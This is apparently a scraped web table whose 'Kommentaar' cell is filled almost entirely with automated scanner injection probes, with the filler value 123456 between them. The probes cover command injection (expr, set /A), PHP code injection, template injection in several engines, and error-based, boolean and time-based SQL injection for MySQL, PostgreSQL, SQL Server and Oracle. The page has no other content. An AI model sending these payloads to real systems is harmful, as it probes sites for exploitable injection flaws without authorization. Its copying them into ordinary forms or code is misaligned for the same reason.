| Kommentaar | 123456
123456
expr 918282001 + 803041068
${@var_dump(md5(789116482))};
123456
123456
123456|expr 801258414 + 891846530
'-var_dump(md5(490931835))-'
123456
${947804807+842638834}
123456
123456$(expr 928685955 + 911792383)
123456
123456
123456&set /A 907443737+816828171
123456'and/**/extractvalue(1,concat(char(126),md5(1423477475)))and'
123456/**/and+0=0
expr 880661223 + 920802683
123456"and/**/extractvalue(1,concat(char(126),md5(1665724057)))and"
123456/**/and+0=6
123456
/*1*/{{885917468+865435652}}
extractvalue(1,concat(char(126),md5(1197108740)))
123456'and'h'='h
123456
${817817547+907899142}
123456'and(select'1'from/**/cast(md5(1627841115)as/**/int))>'0
123456'and'x'='a
123456
${(864064550+825743372)?c}
123456/**/and/**/cast(md5('1675582509')as/**/int)>0
123456"and"x"="x
123456
#set($c=831751953+901486918)${c}$c
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1973040818')))
123456"and"r"="k
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1284945195')))>'0
<%- 849080056+860043057 %>
123456
123456鎈'"\(
123456
123456'"\(
123456
123456
(select*from(select+sleep(0)union/**/select+1)a)
123456
(select*from(select+sleep(2)union/**/select+1)a)
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
123456
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
123456
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('y',0)
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('e',2)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('m',2)='m
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
|
|---|